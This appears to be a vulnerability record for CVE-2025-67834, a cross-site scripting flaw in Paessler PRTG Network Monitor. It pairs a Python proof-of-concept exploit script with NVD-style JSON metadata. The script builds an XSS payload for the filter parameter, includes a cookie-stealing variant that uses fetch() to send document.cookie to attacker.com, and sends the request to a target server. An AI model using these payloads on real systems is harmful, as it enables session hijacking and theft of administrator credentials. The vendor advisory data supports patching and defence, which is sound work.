CVE-2025-67834

import requests # CVE-2025-67834 PoC - PRTG XSS via filter parameter # Target: Paessler PRTG Network Monitor < 25.4.114 TARGET_URL = "http://target-prtg-server:8080" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Construct the malicious URL with XSS in filter parameter malicious_url = f"{TARGET_URL}/filter?filter={requests.utils.quote(xss_payload)}" print(f"[*] Target: {TARGET_URL}") print(f"[*] PoC URL: {malicious_url}") print(f"[*] Payload: {xss_payload}") # Alternative payload for cookie stealing steal_cookie_payload = "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">" alternative_url = f"{TARGET_URL}/filter?filter={requests.utils.quote(steal_cookie_payload)}" print(f"[*] Alternative PoC URL: {alternative_url}") # Send the request to inject the XSS response = requests.get(malicious_url, timeout=10) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] XSS payload sent successfully") else: print("[-] Failed to send XSS payload")

{"cve": {"id": "CVE-2025-67834", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:07.187", "lastModified": "2026-01-20T15:26:23.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Paessler PRTG Network Monitor before 25.4.114 allows XSS by an unauthenticated attacker via the filter parameter."}, {"lang": "es", "value": "Paessler PRTG Network Monitor antes de 25.4.114 permite XSS por un atacante no autenticado a través del parámetro filter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.4.114.1032", "matchCriteriaId": "23AABA66-3ADB-43D3-A29A-E28419277B88"}]}]}], "references": [{"url": "https://helpdesk.paessler.com/en/support/solutions/articles/76000087289-vulnerabilities-in-prtg-prior-v25-4-114-1032", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://paessler.com", "source": "[email protected]", "tags": ["Product"]}]}}